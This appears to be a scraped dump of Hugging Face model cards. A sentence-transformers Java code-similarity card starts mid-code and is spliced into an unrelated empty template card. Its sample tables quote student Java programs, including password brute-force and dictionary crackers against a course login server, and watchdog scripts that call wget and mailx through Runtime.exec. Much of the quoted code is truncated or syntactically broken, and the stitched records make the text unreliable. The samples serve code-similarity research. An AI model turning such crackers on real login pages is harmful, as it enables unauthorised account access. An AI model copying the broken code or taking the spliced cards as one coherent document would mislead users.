}\n}\n\n\nclass PassGenDict {\n\n private char[] password;\n private String line;\n int iPassLenght;\n private BufferedReader inputFile;\n public PassGenDict(int lenght, String strDictPath) {\n try{\n inputFile = new BufferedReader(new FileReader(strDictPath));\n }\n catch (Exception e){\n }\n iPassLenght = lenght;\n }\n \n public String getNewPassword()\n throws PasswordFailureException{\n try {\n {\n line = inputFile.readLine();\n }while (line.length() != iPassLenght);\n\n }\n catch (Exception e){\n throw new PasswordFailureException ();\n }\n return (line);\n }\n}\n\nclass PasswordFailureException extends RuntimeException {\n\n public PasswordFailureException() {\n }\n}',
'import java.util.*;\nimport java.io.*;\nimport javax.swing.text.html.*;\n\n\npublic class WatchDog {\n\n public WatchDog() {\n\n }\n public static void main (String args[]) {\n DataInputStream newin;\n\n try{\n System.out.println("ishti");\n\n System.out.println("Downloading first copy");\n Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");\n String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};\n String[] cmdMail = {"//sh", "-c", "mailx -s \\"Diffrence\\" \\"@cs.rmit.edu.\\" < Diff.txt"};\n while(true){\n Thread.sleep(24*60*60*1000);\n System.out.println("Downloading new copy");\n Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");\n Thread.sleep(2000);\n Runtime.getRuntime().exec(cmdDiff);\n Thread.sleep(2000);\n newin = new DataInputStream( new FileInputStream( "Diff.txt"));\n if (newin.readLine() != null){\n System.out.println("Sending Mail");\n Runtime.getRuntime().exec(cmdMail);\n Runtime.getRuntime().exec("cp newfile.html oldfile.html");\n\n }\n }\n\n }\n catch(Exception e){\n e.printStackTrace();\n }\n\n }\n\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[ 1.0000, 0.9387, -0.2072],
# [ 0.9387, 1.0000, -0.1856],
# [-0.2072, -0.1856, 1.0000]])
```
<!--
### Direct Usage (Transformers)
<details><summary>Click to see the direct usage in Transformers</summary>
</details>
-->
<!--
### Downstream Usage (Sentence Transformers)
You can finetune this model on your own dataset.
<details><summary>Click to expand</summary>
</details>
-->
<!--
### Out-of-Scope Use
*List how the model may foreseeably be misused and address what users ought not to do with the model.*
-->
<!--
## Bias, Risks and Limitations
*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*
-->
<!--
### Recommendations
*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*
-->
## Training Details
### Training Dataset
#### soco_train_java
* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476)
* Size: 38,664 training samples
* Columns: <code>anchor_code</code>, <code>positive_code</code>, and <code>negative_code</code>
* Approximate statistics based on the first 1000 samples:
| | anchor_code | positive_code | negative_code |
|:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|
| type | string | string | string |
| details | <ul><li>min: 51 tokens</li><li>mean: 466.15 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 467.06 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 454.38 tokens</li><li>max: 512 tokens</li></ul> |
* Samples:
| anchor_code | positive_code | negative_code |
|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <code><br><br>import java.io.*;<br>import java.net.*;<br>import java.misc.BASE64Encoder;<br><br>public class Dictionary<br>{<br> public Dictionary()<br> {}<br><br> public boolean fetchURL(String urlString,String username,String password)<br> {<br> StringWriter sw= new StringWriter();<br> PrintWriter pw = new PrintWriter();<br> try{<br> URL url=new URL(urlString); <br> String userPwd= username+":"+password;<br><br> <br> <br> <br> <br><br> BASE64Encoder encoder = new BASE64Encoder();<br> String encodedStr = encoder.encode (userPwd.getBytes());<br> System.out.println("Original String = " + userPwd);<br> System.out.println("Encoded String = " + encodedStr);<br><br> HttpURLConnection huc=(HttpURLConnection) url.openConnection(); <br> huc.setRequestProperty( "Authorization"," "+encodedStr); <br> InputStream content = (InputStream)huc.getInputStream();<br> BufferedReader in =<br> new BufferedReader (new InputStreamReader (content));<br> String line;<br> while ((line = in.readLine())...</code> | <code><br><br>import java.io.*;<br>import java.net.*;<br>import java.misc.BASE64Encoder;<br><br>public class BruteForce<br>{<br> public BruteForce()<br> {}<br><br> public boolean fetchURL(String urlString,String username,String password)<br> {<br> StringWriter = new StringWriter();<br> PrintWriter pw = new PrintWriter();<br> try{<br> URL url=new URL(urlString); <br> String userPwd= username+":"+password;<br><br> <br> <br> <br> <br><br> BASE64Encoder encoder = new BASE64Encoder();<br> String encodedStr = encoder.encode (userPwd.getBytes());<br> System.out.println("Original String = " + userPwd);<br> System.out.println("Encoded String = " + encodedStr);<br><br> HttpURLConnection huc=(HttpURLConnection) url.openConnection(); <br> huc.setRequestProperty( "Authorization"," "+encodedStr); <br> InputStream content = (InputStream)huc.getInputStream();<br> BufferedReader in = <br> new BufferedReader (new InputStreamReader (content));<br> String line;<br> while ((line = in.readLine()) ...</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class Dictionary{<br><br> private static URL location;<br> private static String user;<br> private BufferedReader input;<br> private static BufferedReader dictionary;<br> private int maxLetters = 3;<br><br> <br><br> public Dictionary() {<br> <br> Authenticator.setDefault(new MyAuthenticator ());<br><br> startTime = System.currentTimeMillis();<br> boolean passwordMatched = false;<br> while (!passwordMatched) {<br> try {<br> input = new BufferedReader(new InputStreamReader(location.openStream()));<br> String line = input.readLine();<br> while (line != null) {<br> System.out.println(line);<br> line = input.readLine();<br> }<br> input.close();<br> passwordMatched = true;<br> }<br> catch (ProtocolException e)<br> {<br> <br> <br> }<br> catch (ConnectException e) {<br> System.out.println("Failed connect");<br> }<br> catch (IOException e) ...</code> |
| <code><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br><br>public class WatchdogPropertyHelper {<br><br> private static Properties testProps;<br><br><br><br> public WatchdogPropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the watchddog Props");<br> e.printStackTrace();<br> }<br> return testProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(testProps == null){<br> testProps = new Properties();<br><br> InputStream fis =<br> WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties");<br> testProps.load(fis);<br> }<br> }<br>}<br></code> | <code><br><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br>public class BruteForcePropertyHelper {<br><br> private static Properties bruteForceProps;<br><br><br><br> public BruteForcePropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the burteforce Props");<br> e.printStackTrace();<br> }<br> return bruteForceProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(bruteForceProps == null){<br> bruteForceProps = new Properties();<br><br> InputStream fis =<br> BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");<br> bruteForceProps.load(fis);<br> }<br> }<br>}<br><br></code> | <code><br><br><br><br><br><br><br><br>import java.io.*;<br>import java.net.*;<br>import javax.swing.Timer;<br>import java.awt.event.*;<br>import javax.swing.JOptionPane;<br><br>public class WatchDog <br>{<br> private static Process pro = null;<br> private static Runtime run = Runtime.getRuntime();<br> <br> public static void main(String[] args) <br> {<br> String cmd = null;<br> try<br> {<br> cmd = new String("wget -O original.txt http://www.cs.rmit.edu./students/");<br><br> pro = run.exec(cmd);<br> System.out.println(cmd);<br> }<br> catch (IOException e)<br> {<br> }<br> <br> class Watch implements ActionListener<br> {<br> BufferedReader in = null;<br> String str = null;<br> Socket socket;<br> public void actionPerformed (ActionEvent event)<br> {<br> <br> try<br> {<br> System.out.println("in Watch!");<br> String cmd = new String();<br> int ERROR = 1;<br> cmd = new String("wget -O new.txt http://www.cs.rmit.edu./students/");<br><br><br> System.out.println(cmd);<br> cmd = new String("diff original.txt new.txt");<br> pro = run.exec(cmd);<br> System.out.println(cmd);<br> in = new Buf...</code> |
| <code><br>import java.net.*; <br>import java.io.*; <br>public class BruteForce {<br>private static String password=" "; <br><br> <br> public static void main(String[] args) {<br> String Result=""; <br> if (args.length<1)<br> {<br> System.out.println("Error: Correct Format Filename, username e.g<>"); <br> System.exit(1); <br> }<br> BruteForce bruteForce1 = new BruteForce();<br> Result=bruteForce1.Password("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]); <br> System.out.println("The Password of "+args[0]+"is.."+Result); <br> <br> }<br><br><br><br> private String Password(String urlString,String username) <br> { <br> int cnt=0;<br> <br> t0 = System.currentTimeMillis(); <br> for ( char ch = 'A'; ch <= 'z'; ch++ )<br> { <br> if (ch>'Z' && ch<'a')<br> { <br> ch='a'; <br> } <br> <br> for ( char ch1 = 'A'; ch1 <= 'z'; ch1++ )<br> { <br> <br> if (ch1>'Z' && ch1<'a')<br> { <br> ch1='a'; <br> }<br><br><br> for ( char ch2 = 'A'; ch2 <= 'z'; ch2++ )<br> { <br> if (ch2>'Z' && ch2<'a')<br> { <br> ...</code> | <code><br><br>import java.net.*; <br>import java.io.*; <br>import java.util.Date; <br>public class Dictionary{<br>private static String password=" "; <br><br> <br> public static void main(String[] args) {<br> String Result=""; <br> if (args.length<1)<br> {<br> System.out.println("Correct Format Filename username e.g<>"); <br> System.exit(1); <br> }<br> <br> Dictionary dicton1 = new Dictionary();<br> Result=dicton1.Dict("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]); <br> System.out.println("Cracked Password for The User "+args[0]+" The Password is.."+Result); <br> <br><br> <br> <br> }<br><br><br><br> private String Dict(String urlString,String username) <br> { <br> int cnt=0;<br> FileInputStream stream=null;<br> DataInputStream word=null;<br><br> try{ <br> stream = new FileInputStream ("/usr/share/lib/dict/words"); <br><br> word =new DataInputStream(stream);<br> t0 = System.currentTimeMillis(); <br> while (word.available() !=0) <br> {<br> <br> password=word.readLine();<br> if (password.length()!=3)<br> {<br> continue;<br> }<br> System.out.print("...</code> | <code><br>package java.httputils;<br><br>import java.io.IOException;<br>import java.net.MalformedURLException;<br>import java.util.ArrayList;<br>import java.util.Iterator;<br><br><br>public class RunnableHttpRequest extends Thread<br>{<br> protected String targetURL = "http://localhost:8080/";<br> protected int requestCount = 1;<br> protected ArrayList timingList = new ArrayList();<br> protected HttpRequestClient req;<br> Boolean finished = new Boolean(false);<br> HttpRequestThreadPool pool;<br><br> <br> public void run()<br> {<br> try<br> {<br> for (int i = 0; i < getRequestCount() && !getFinished().booleanValue(); i++)<br> {<br> try<br> {<br> req =<br> new HttpRequestClient(getTargetURL());<br><br> <br> }<br> catch (MalformedURLException e)<br> {<br> e.printStackTrace();<br> break;<br> }<br> catch (IOException e)<br> {<br> ...</code> |
* Loss: [<code>MultipleNegativesRankingLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#multiplenegativesrankingloss) with these parameters:
```json
{
"scale": 20.0,
"similarity_fct": "cos_sim",
"gather_across_devices": false
}
```
### Evaluation Dataset
#### soco_train_java
* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476)
* Size: 4,296 evaluation samples
* Columns: <code>anchor_code</code>, <code>positive_code</code>, and <code>negative_code</code>
* Approximate statistics based on the first 1000 samples:
| | anchor_code | positive_code | negative_code |
|:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|
| type | string | string | string |
| details | <ul><li>min: 51 tokens</li><li>mean: 465.22 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 464.66 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 458.05 tokens</li><li>max: 512 tokens</li></ul> |
* Samples:
| anchor_code | positive_code | negative_code |
|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <code><br><br><br><br><br><br>import java.util.*;<br>import java.io.*;<br><br>public class WatchDog<br>{ <br><br> public static void main(String args[])<br> {<br><br> Runtime rt1 = Runtime.getRuntime();<br> Process prss1= null;<br><br> try<br> {<br> prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/");<br> }catch(java.io.IOException e){}<br><br> MyWatchDogTimer w = new MyWatchDogTimer();<br> Timer time = new Timer();<br> time.schedule(w,864000000,864000000);<br><br> <br> }<br>}<br></code> | <code> <br><br><br><br><br>import java.util.*;<br>import java.io.*;<br><br>public class MyTimer<br>{ <br><br> public static void main(String args[])<br> {<br> Watchdog watch = new Watchdog();<br> Timer time = new Timer();<br> time.schedule(watch,864000000,864000000);<br> <br> <br> }<br>}<br></code> | <code>import java.net.*; <br>import java.io.*; <br>import java.util.Vector;<br>import java.util.Date;<br>import java.security.*;<br><br><br><br><br><br><br><br><br><br><br><br> <br>public class Dictionary { <br> public static BufferedReader in;<br> <br> <br> public static void main(String[] args) throws Exception { <br> String baseURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; <br> int count=0;<br> Date date = new Date();<br> startTime=date.getTime();<br> int LIMITINMINUTES=45;<br> int TIMELIMIT=LIMITINMINUTES*1000*60;<br> boolean timedOut=false;<br> boolean found=false;<br> <br> <br> Vector dictionary=new Vector(readWords());<br> System.out.println("Words in dictionary: "+dictionary.size());<br> <br> <br> <br> <br> <br> <br> <br> while (found==false && timedOut==false && dictionary.elementAt(count)!=null) {<br> <br> Date endDate = new Date();<br> endTime=endDate.getTime(); <br> if (endTime>(TIMELIMIT+startTime)){<br> System.out.println("Timed out");<br> timedOut=true;<br> }<br> <br> String password = "";<br><br> ...</code> |
| <code><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br><br><br>public class MailsendPropertyHelper {<br><br> private static Properties testProps;<br><br> public MailsendPropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the watchddog Props");<br> e.printStackTrace();<br> }<br> return testProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(testProps == null){<br> testProps = new Properties();<br><br> InputStream fis =<br> MailsendPropertyHelper.class.getResourceAsStream("/mailsend.properties");<br> testProps.load(fis);<br> }<br> }<br>}<br><br><br><br><br><br></code> | <code><br><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br>public class BruteForcePropertyHelper {<br><br> private static Properties bruteForceProps;<br><br><br><br> public BruteForcePropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the burteforce Props");<br> e.printStackTrace();<br> }<br> return bruteForceProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(bruteForceProps == null){<br> bruteForceProps = new Properties();<br><br> InputStream fis =<br> BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");<br> bruteForceProps.load(fis);<br> }<br> }<br>}<br><br></code> | <code><br>import java.net.*;<br>import java.io.*;<br>import java.Ostermiller.util.*;<br>import java.util.*;<br><br>public class MyClient2 implements Runnable<br>{<br> private String hostname;<br> private int port;<br> private String filename;<br> private Socket s;<br> private int n;<br> private InputStream sin;<br> private OutputStream sout;<br> private int dif;<br> private String myPassword;<br> private int status;<br> private int myTime;<br> private BruteForce myMaster;<br> <br><br> public MyClient2(BruteForce bf , int num, int myPort, String password)<br> {<br> <br> hostname = new String("sec-crack.cs.rmit.edu.");<br> port = myPort;<br> status = 0;<br> myTime = 0;<br> myPassword = password;<br> filename = new String("/SEC/2/");<br> myMaster = 0;<br> n = num;<br> dif = 0;<br> <br> }<br> public getDif()<br> {<br> return dif;<br> }<br> public int getStatus()<br> {<br> return status;<br> }<br> public void run() <br> {<br> String inputLine;<br> String[] tokens = new String[5];<br> int i;<br> myTime = 0;<br> ...</code> |
| <code>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br><br>public class Dictionary<br>{<br> public static void main (String args[])<br> {<br> <br> <br> Calendar cal = Calendar.getInstance();<br> Date now=cal.getTime();<br> double startTime = now.getTime();<br><br> String password=getPassword(startTime);<br> System.out.println("The password is " + password);<br> }<br><br> public static String getPassword(double startTime)<br> {<br> String password="";<br> int requests=0;<br><br> try<br> {<br> <br> FileReader fRead = new FileReader("/usr/share/lib/dict/words");<br> BufferedReader buf = new BufferedReader(fRead);<br><br> password=buf.readLine();<br><br> while (password != null)<br> {<br> <br> if (password.length()<=3)<br> {<br> requests++;<br> if (testPassword(password, startTime, requests))<br> return password;<br> }<br><br> password = buf.readLine();<br><br> }<br> }<br> catch (IOException ioe)<br> {<br><br> }<br><br> return password;<br> }<br><br> private static boolean testPassword(String password, double startTime, int requests)<br> {<br> try<br> {<br> <br> <br> U...</code> | <code>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br><br>public class BruteForce<br>{<br><br> public static void main(String args[])<br> {<br> <br> <br> Calendar cal = Calendar.getInstance();<br> Date now=cal.getTime();<br> double startTime = now.getTime();<br><br> String password=getPassword(startTime);<br> System.out.println("The password is " + password);<br> }<br><br> public static String getPassword(double startTime)<br> {<br> char first, second, third;<br> String password="";<br> int requests=0;<br><br> <br> for (int i=65; i<123; i++)<br> {<br> requests++;<br> first = (char) i;<br><br> password = first + "";<br><br> <br> if (testPassword(password, startTime, requests))<br> return password;<br><br> for (int j=65; j<123; j++)<br> {<br> requests++;<br> second = (char) j;<br><br> password = first + "" + second;<br><br> <br> if (testPassword(password, startTime, requests))<br> return password;<br><br> for (int k=65; k<123; k++)<br> {<br> requests++;<br> third = (char) k;<br><br> password = first + "" + second + "" + third;<br><br> <br> if (test...</code> | <code><br><br>import java.misc.BASE64Encoder;<br>import java.misc.BASE64Decoder;<br>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br><br><br>public class Dictionary {<br> <br> public Dictionary(String url, String dictionaryFile) {<br> try{<br> this.url = url;<br> this.dictionaryPath = dictionaryFile;<br> InputStream fis = new FileInputStream(this.dictionaryPath);<br> dict = new BufferedReader(new InputStreamReader(fis));<br><br> }catch(IOException ioe){<br> System.out.println("Error opening dictionary file:\n" +ioe);<br> }<br> }<br><br><br> <br> private String url = null;<br> <br> private String dictionaryPath = null;<br> <br> private BufferedReader dict = null;<br> <br> private int attempts = 0;<br> <br> private int passwordSize = 3;<br> <br> public void setPasswordSize(int size){<br> this.passwordSize = size;<br> }<br> <br> public String getNextPassword()throws IOException{<br><br> String line = dict.readLine();<br><br> while(line!=null&&line.length()!=this.passwordSize )<br> line = dict.readLine();<br><br> return line;<br> }<br> <br> publ...</code> |
* Loss: [<code>MultipleNegativesRankingLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#multiplenegativesrankingloss) with these parameters:
```json
{
"scale": 20.0,
"similarity_fct": "cos_sim",
"gather_across_devices": false
}
```
### Training Hyperparameters
#### Non-Default Hyperparameters
- `per_device_train_batch_size`: 32
- `learning_rate`: 1e-05
- `num_train_epochs`: 1
- `warmup_ratio`: 0.1
- `fp16`: True
- `batch_sampler`: no_duplicates
#### All Hyperparameters
<details><summary>Click to expand</summary>
- `overwrite_output_dir`: False
- `do_predict`: False
- `eval_strategy`: no
- `prediction_loss_only`: True
- `per_device_train_batch_size`: 32
- `per_device_eval_batch_size`: 8
- `per_gpu_train_batch_size`: None
- `per_gpu_eval_batch_size`: None
- `gradient_accumulation_steps`: 1
- `eval_accumulation_steps`: None
- `torch_empty_cache_steps`: None
- `learning_rate`: 1e-05
- `weight_decay`: 0.0
- `adam_beta1`: 0.9
- `adam_beta2`: 0.999
- `adam_epsilon`: 1e-08
- `max_grad_norm`: 1.0
- `num_train_epochs`: 1
- `max_steps`: -1
- `lr_scheduler_type`: linear
- `lr_scheduler_kwargs`: {}
- `warmup_ratio`: 0.1
- `warmup_steps`: 0
- `log_level`: passive
- `log_level_replica`: warning
- `log_on_each_node`: True
- `logging_nan_inf_filter`: True
- `save_safetensors`: True
- `save_on_each_node`: False
- `save_only_model`: False
- `restore_callback_states_from_checkpoint`: False
- `no_cuda`: False
- `use_cpu`: False
- `use_mps_device`: False
- `seed`: 42
- `data_seed`: None
- `jit_mode_eval`: False
- `use_ipex`: False
- `bf16`: False
- `fp16`: True
- `fp16_opt_level`: O1
- `half_precision_backend`: auto
- `bf16_full_eval`: False
- `fp16_full_eval`: False
- `tf32`: None
- `local_rank`: 0
- `ddp_backend`: None
- `tpu_num_cores`: None
- `tpu_metrics_debug`: False
- `debug`: []
- `dataloader_drop_last`: False
- `dataloader_num_workers`: 0
- `dataloader_prefetch_factor`: None
- `past_index`: -1
- `disable_tqdm`: False
- `remove_unused_columns`: True
- `label_names`: None
- `load_best_model_at_end`: False
- `ignore_data_skip`: False
- `fsdp`: []
- `fsdp_min_num_params`: 0
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
- `fsdp_transformer_layer_cls_to_wrap`: None
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
- `parallelism_config`: None
- `deepspeed`: None
- `label_smoothing_factor`: 0.0
- `optim`: adamw_torch_fused
- `optim_args`: None
- `adafactor`: False
- `group_by_length`: False
- `length_column_name`: length
- `ddp_find_unused_parameters`: None
- `ddp_bucket_cap_mb`: None
- `ddp_broadcast_buffers`: False
- `dataloader_pin_memory`: True
- `dataloader_persistent_workers`: False
- `skip_memory_metrics`: True
- `use_legacy_prediction_loop`: False
- `push_to_hub`: False
- `resume_from_checkpoint`: None
- `hub_model_id`: None
- `hub_strategy`: every_save
- `hub_private_repo`: None
- `hub_always_push`: False
- `hub_revision`: None
- `gradient_checkpointing`: False
- `gradient_checkpointing_kwargs`: None
- `include_inputs_for_metrics`: False
- `include_for_metrics`: []
- `eval_do_concat_batches`: True
- `fp16_backend`: auto
- `push_to_hub_model_id`: None
- `push_to_hub_organization`: None
- `mp_parameters`:
- `auto_find_batch_size`: False
- `full_determinism`: False
- `torchdynamo`: None
- `ray_scope`: last
- `ddp_timeout`: 1800
- `torch_compile`: False
- `torch_compile_backend`: None
- `torch_compile_mode`: None
- `include_tokens_per_second`: False
- `include_num_input_tokens_seen`: False
- `neftune_noise_alpha`: None
- `optim_target_modules`: None
- `batch_eval_metrics`: False
- `eval_on_start`: False
- `use_liger_kernel`: False
- `liger_kernel_config`: None
- `eval_use_gather_object`: False
- `average_tokens_across_devices`: False
- `prompts`: None
- `batch_sampler`: no_duplicates
- `multi_dataset_batch_sampler`: proportional
- `router_mapping`: {}
- `learning_rate_mapping`: {}
</details>
### Training Logs
| Epoch | Step | Training Loss |
|:------:|:----:|:-------------:|
| 0.0827 | 100 | 1.3096 |
| 0.1654 | 200 | 0.2581 |
| 0.2481 | 300 | 0.2362 |
| 0.3309 | 400 | 0.2347 |
| 0.4136 | 500 | 0.2297 |
| 0.4963 | 600 | 0.2313 |
| 0.5790 | 700 | 0.223 |
| 0.6617 | 800 | 0.228 |
| 0.7444 | 900 | 0.2253 |
| 0.8271 | 1000 | 0.6265 |
| 0.9098 | 1100 | 0.699 |
| 0.9926 | 1200 | 0.7445 |
### Framework Versions
- Python: 3.11.11
- Sentence Transformers: 5.1.1
- Transformers: 4.56.2
- PyTorch: 2.8.0.dev20250319+cu128
- Accelerate: 1.10.1
- Datasets: 4.1.1
- Tokenizers: 0.22.1
## Citation
### BibTeX
#### Sentence Transformers
```bibtex
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
```
#### MultipleNegativesRankingLoss
```bibtex
@misc{henderson2017efficient,
title={Efficient Natural Language Response Suggestion for Smart Reply},
author={Matthew Henderson and Rami Al-Rfou and Brian Strope and Yun-hsuan Sung and Laszlo Lukacs and Ruiqi Guo and Sanjiv Kumar and Balint Miklos and Ray Kurzweil},
year={2017},
eprint={1705.00652},
archivePrefix={arXiv},
primaryClass={cs.CL}
}
```
<!--
## Glossary
*Clearly define terms in order to be accessible across audiences.*
-->
<!--
## Model Card Authors
*Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.*
-->
<!--
## Model Card Contact
*Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.*
-->
|
quangnhan145/my-awesome-model
|
quangnhan145
| 2025-09-23T15:33:32Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"bert",
"feature-extraction",
"arxiv:1910.09700",
"endpoints_compatible",
"region:us"
] |
feature-extraction
| 2025-09-23T15:33:04Z |
---
library_name: transformers
tags: []
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated.
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
- **Repository:** [More Information Needed]
- **Paper [optional]:** [More Information Needed]
- **Demo [optional]:** [More Information Needed]
## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
### Direct Use
<!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. -->
[More Information Needed]
### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
